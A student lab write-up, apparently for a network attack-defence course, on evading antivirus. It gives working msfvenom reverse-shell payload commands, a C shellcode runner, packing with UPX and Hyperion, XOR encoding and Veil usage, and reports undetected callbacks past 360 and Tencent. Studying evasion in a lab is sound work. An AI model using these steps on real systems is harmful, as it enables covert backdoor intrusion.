zoukankan      html  css  js  c++  java
  • 2019-2020-2 网络对抗技术 20175213吕正宏 Exp3 免杀原理与实践

    一、实验任务

    • 方法

      • 正确使用msf编码器

      • msfvenom生成如jar之类的其他文件

      • veil

      • 加壳工具

      • 使用C + shellcode编程

      • 使用其他课堂未介绍方法

    • 通过组合应用各种技术实现恶意代码免杀。
      (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

    • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。

    二、基础知识

    恶意代码检测机制

    • 1.基于特征码的检测

      • 简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
    • 2.启发式恶意软件检测

      • “When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.” 对恶意软件检测来说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
    • 3.基于行为的恶意软件检测

      • 从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

    免杀原理(Evading Anti-Virus)

    • 1.改变特征码

      • 有EXE —— 加壳:压缩壳 加密壳。

      • 有shellcode(像Meterpreter)—— 用encode进行编码 /基于payload重新编译生成可执行文件。

      • 有源代码 —— 用其他语言进行重写再编译(veil-evasion)。

    • 2.改变行为

      • 通讯方式:尽量使用反弹式连接 / 使用隧道技术 / 加密通讯数据

      • 操作模式:基于内存操作 / 减少对系统的修改 / 加入混淆作用的正常功能代码

    • 3.非常规方法

      • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。

      • 使用社工类攻击,诱骗目标关闭AV软件。

      • 纯手工打造一个恶意软件。

    三、问题回答(基于上述的基础知识来回答的)

    问题1:杀软是如何检测出恶意代码的?

    • 基于特征码的检测:如果一个可执行文件(或其他运行的库、脚本等)包含被标记过特征的数据则被认为是恶意代码。

    • 启发式恶意软件检测:就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,它就被当做了恶意软件。

    • 基于行为的恶意软件检测:相当于是启发式的一种,或者是加入了行为监控的启发式。

    问题2:免杀是做什么?

    • 使恶意代码可以逃过杀软的查杀。同时,免杀也是渗透测试中需要使用到的技术。

    问题3:免杀的基本方法有哪些?

    • 改变特征码:进行exe文件加壳操作,或者对shellcode用encode进行编码或者基于payload重新编译生成可执行文件。

    • 改变行为:使用反弹式连接、隧道技术与加密通讯的数据。同时加入正常功能代码、尽量减少对系统的修改。

    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。

    • 使用社工类攻击,诱骗目标关闭AV软件。

    • 纯手工打造一个恶意软件。

    问题4:开启杀软能绝对防止电脑中恶意代码吗?

    • 不能,杀软在不断进步,恶意代码的技术也同样在不断更迭,我们能做的就是养成良好的上网习惯,并随时更新杀软病毒库,保证杀软的正常工作。

    四、实验内容

    任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

    msf编码器生成exe

    • 对在实验二中生成的20175213_backdoor.exe 后门程序通过VirusTotalVirSCAN两个网站进行检测。

    • 使用VirusTotal扫描后结果如下,其中72个软件有59个都检测出来了

    • 在使用VirSCAN扫描时,智能选择文件并点击扫描的时候卡在一个窗口无反应,应该是服务器的问题,暂时没有解决。

    • 下面进行一次编码的后门程序:

      • 命令为:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.111.130 LPORT=5213 -f exe > bd1.exe

      • 其中,-e选择编码器;-b是payload中需要清除的字符,为了使x00'不出现在shellcode中。

      • 生成过程如图:

      • 使用VirusTotal检测如下:

    • 进行十次编码:

      • 使用-i设置迭代次数。

      • 命令为:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.111.130 LPORT=5213 -f exe > bd10.exe

      • 生成过程如图:

      • 使用VirusTotal检测如下:

    • 从上面的结果可见,多次编码对于免杀没有太大的帮助。查看了同学的博客后,知道有两点原因:

      • 1.shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要找到了这一部分,就能查出这是恶意代码。

      • 2.msfvenom总以固定的模版来生成exe文件。它所有生成的exe文件,如果使用默认参数或者模版,也有一定的固定特征,所以一般来说AV厂商会针对msf使用的模板生成特征码侦测,这样就能解决所有msfvenom生成的恶意代码了。

    使用msf生成其他格式的文件

    • 生成jar文件:

      • 生成命令为:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=5213 x> 20175213java.jar

      • 生成过程如图:

      • 使用VirusTotal检测如下:

    • 生成php文件:

      • 生成命令为:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=5213 x> 20175213php.php

      • 生成过程如图:

      • 使用VirusTotal检测如下(较jar文件效果更好):

    • 生成apk文件:

      • 生成命令为:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=5213 x> 20175213android.apk

      • 生成过程如图:

      • 使用VirusTotal检测如下(效果一般):

    使用veil-evasion生成后门程序及检测

    • 在命令行中输入sudo apt-get install veil 安装veil,需要选的第地方输入y

    • 阶段性完成后再次输入veil继续安装,并输入y

    • 在经过漫长的等待和重试后,终于安装好了veil。

    • 安装成功后,在sudo模式下输入veil指令进入。

    • 输入use evasion命令进入veil-evasion。

    • 输入命令use c/meterpreter/rev_tcp.py 进入配置界面。

    • 设置反弹连接IP地址(kali的IP),命令为set LHOST 192.168.111.130;并设置端口,命令为set LPORT 5213

    • 输入命令generate生成文件,接着输入生成的playload的名称veil_c_5213 ,保存路径为:/var/lib/veil/output/source/veil_c_5213.exe

    • 使用VirusTotal检测结果如下

    使用shellcode编程

    • 通过命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=5213 -f c生成一段shellcode,截图如下:

    • 在kali中创建一个c文件,命令为vim 20175213.c,将生成的buf [ ] 赋值到下列代码中:
    unsigned char buf[] = 
    (复制的内容)
    
    int main() 
    { 
        int (*func)() = (int(*)())buf; 
        func(); 
    }
    

    • 通过命令i686-w64-mingw32-g++ 20175213.c -o 20175213.exe 命令,将.c文件转化为可执行文件。

    • 使用VirusTotal检测如下

    • 在windows上执行该程序时,未被杀软查杀(可能是腾讯电脑管家未识别到)

    加壳工具

    1. 压缩壳工具UPX
    • 使用命令upx 20175213.exe -o 20175213_upxed.exe对上一步中生成的20175213.exe 加压缩壳得到20175213_upxed.exe

    • 使用VirusTotal检测结果:

    • 运行程序后,未被腾讯电脑管家识别.....
    2. 加密壳工具Hyperion
    • 通过命令wine hyperion.exe -v 20175213_upxed.exe 20175213_upxed_Hyperion.exe 进行二次加壳。

    • 使用VirusTotal检测结果如下:

    • 在Windows中运行程序也未被腾讯电脑管家识别。

    使用其他课程未介绍的方法

    • 对shellcode进行免杀变形:

      • 用msfvenom生成shellcode。

      • 将shellcode中每一位于'0'进行异或。

      • 将异或后的shellcode再与0进行依次异或,目的是取消shellcode的特征码,可以减小被杀软检测到的概率。

      • 将最终的shellcode生成为一个可执行文件。

    • 使用VirusTotal检测结果:

    任务二:通过组合应用各种技术实现恶意代码免杀

    • 组合思路:用msfvenom生成一个raw格式的shellcode,使用ShellcodeWrapper对shellcode进行xor加密,将生成的c++源码编译生成exe

    • 使用360检测截图如下(因为腾讯安全管家不太好使...)

    任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    • 1.使用的是娄老师之前的Win7系统,详情看dir后截图。
    • 2.杀软名称:360安全管家
    • 3.版本:12.0.0.2002

    五、实验中的问题及解决

    问题1:

    • 使用shellcode编程,对文件进行编译时,出现如图的错误:

    • 解决:在查看了同学的博客后,在命令行中输入sudo apt-get install mingw-w64安装所需环境即可。

    问题2:

    • 在安装veil时遇到远程挂断等错误,并一直安装中断。

    • 解决:耐心安装,耐心等待,终会成功。

    问题3:

    • 在加密壳工具Hyperion方式时,遇到如图问题

    六、心得体会

    这一次实验又是一次大长跑,分了两次去完成,第二次也从中午弄到晚上。veil的安装也令人抓狂,龟速的安装、各种中断错误...。不过好在还是圆满完成这一次实验,也从中学到了很多有用又好玩的东西,在一次次的查阅中也能不断提高自己。

  • 相关阅读:
    24、可靠信号与不可靠信号
    24、sed用法
    26、linux shell常用的几个函数,diff
    21、Posix共享内存
    23、修改vim的tab,使其占4个空格
    25、linux shell常用的几个函数,sort
    Console算法有一分数序列:2/1,3/2,5/3,8/5,13/8,21/13...求出这个数列的前20项之和
    Console算法[for,if]一水仙花数(Water flower)
    Console算法回文数
    Console算法[for,if]有5个人坐在一起,问第五个人多少岁?他说比第4个人大2岁。问第4个人岁数
  • 原文地址:https://www.cnblogs.com/LZHNB/p/12601956.html
Copyright © 2011-2022 走看看